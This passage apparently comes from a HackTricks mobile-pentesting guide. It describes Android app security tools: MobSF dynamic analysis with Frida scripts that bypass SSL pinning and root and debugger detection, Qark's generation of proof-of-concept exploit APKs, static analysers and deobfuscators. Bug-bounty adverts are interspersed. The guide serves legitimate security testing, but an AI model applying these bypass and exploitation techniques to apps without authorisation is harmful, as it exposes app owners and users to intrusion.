opensecurity/mobile-security-framework-mobsf:latest ``` Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. ### Assisted Dynamic analysis with MobSF **MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ The **MobSF dynamic analyser** can: * **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. * Capture **HTTPS traffic** * Use **Frida** to obtain **runtime** **information** From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. **Frida** By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). ![](<../../.gitbook/assets/image (215).png>) Moreover, you have some Auxiliary Frida functionalities: * **Enumerate Loaded Classes**: It will print all the loaded classes * **Capture Strings**: It will print all the capture strings while using the application (super noisy) * **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. * **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. * **Search Class Pattern**: Search classes by pattern * **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". **Shell** Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: ``` help shell ls activities exported_activities services receivers ``` **HTTP tools** When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. {% hint style="info" %} After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: ``` adb shell settings put global http_proxy :0 ``` {% endhint %} ### Assisted Dynamic Analysis with Inspeckage You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**. {% content-ref url="inspeckage-tutorial.md" %} [inspeckage-tutorial.md](inspeckage-tutorial.md) {% endcontent-ref %} ### [Yaazhini](https://www.vegabird.com/yaazhini/) This is a **great tool to perform static analysis with a GUI** ![](<../../.gitbook/assets/image (527).png>) ### [Qark](https://github.com/linkedin/qark) This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk qark --java path/to/parent/java/folder qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) * Displays all extracted files for easy reference * Automatically decompile APK files to Java and Smali format * Analyze AndroidManifest.xml for common vulnerabilities and behavior * Static source code analysis for common vulnerabilities and behavior * Device info * Intents * Command execution * SQLite references * Logging references * Content providers * Broadcast recievers * Service references * File references * Crypto references * Hardcoded secrets * URL's * Network connections * SSL references * WebView references ``` reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) SUPER is a command-line application that can be used in Windows, MacOS X and Linux, that analyzes _.apk_ files in search for vulnerabilities. It does this by decompressing APKs and applying a series of rules to detect those vulnerabilities. All rules are centered in a `rules.json` file, and each company or tester could create its own rules to analyze what they need. Download the latest binaries from in the [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` ### [StaCoAn](https://github.com/vincentcox/StaCoAn) ![](<../../.gitbook/assets/image (62).png>) StaCoAn is a **crossplatform** tool which aids developers, bugbounty hunters and ethical hackers performing [static code analysis](https://en.wikipedia.org/wiki/Static\_program\_analysis) on mobile applications\*. The concept is that you drag and drop your mobile application file (an .apk or .ipa file) on the StaCoAn application and it will generate a visual and portable report for you. You can tweak the settings and wordlists to get a customized experience. Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework) AndroBugs Framework is an Android vulnerability analysis system that helps developers or hackers find potential security vulnerabilities in Android applications.\ [Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases) ``` python androbugs.py -f [APK file] androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) **Androwarn** is a tool whose main aim is to detect and warn the user about potential malicious behaviours developped by an Android application. The detection is performed with the **static analysis** of the application's Dalvik bytecode, represented as **Smali**, with the [`androguard`](https://github.com/androguard/androguard) library. This tool looks for **common behavior of "bad" applications** like: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` ### [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework) ![](<../../.gitbook/assets/image (81).png>) **MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals. It is able to: * Extract Java and Smali code using different tools * Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) * Extract private information from the APK using regexps. * Analyze the Manifest. * Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) * Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous Useful to detect malware: [https://koodous.com/](https://koodous.com) <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> **HackenProof is home to all crypto bug bounties.** **Get rewarded without delays**\ HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified. **Get experience in web3 pentesting**\ Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days. **Become the web3 hacker legend**\ Gain reputation points with each verified bug and conquer the top of the weekly leaderboard. [**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks! {% embed url="https://hackenproof.com/register" %} ## Obfuscating/Deobfuscating code Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. ### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. ProGuard is distributed as part of the Android SDK and runs when building the application in release mode. From: [https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) ### [DexGuard](https://www.guardsquare.com/dexguard) Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) (From that guide) Last time we checked, the Dexguard mode of operation was: * load a resource as an InputStream; * feed the result to a class inheriting from FilterInputStream to decrypt it; * do some useless obfuscation to waste a few minutes of time from a reverser; * feed the decrypted result to a ZipInputStream to get a DEX file; * finally load the resulting DEX as a Resource using the `loadDex` method. ### [DeGuard](http://apk-deguard.com) **DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** You can upload an obfuscated APK to their platform. ### [Simplify](https://github.com/CalebFenton/simplify) It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. ### [APKiD](https://github.com/rednaga/APKiD) APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. ### Manual [Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis. ### OWASP {% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %} ### Git Repos [https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)\ [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec) ## References For more information visit: * [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources * [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course * [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) * [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) ## To Test * [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) * [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> **HackenProof is home to all crypto bug bounties.** **Get rewarded without delays**\ HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified. **Get experience in web3 pentesting**\ Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days. **Become the web3 hacker legend**\ Gain reputation points with each verified bug and conquer the top of the weekly leaderboard. [**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks! {% embed url="https://hackenproof.com/register" %} <details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). </details>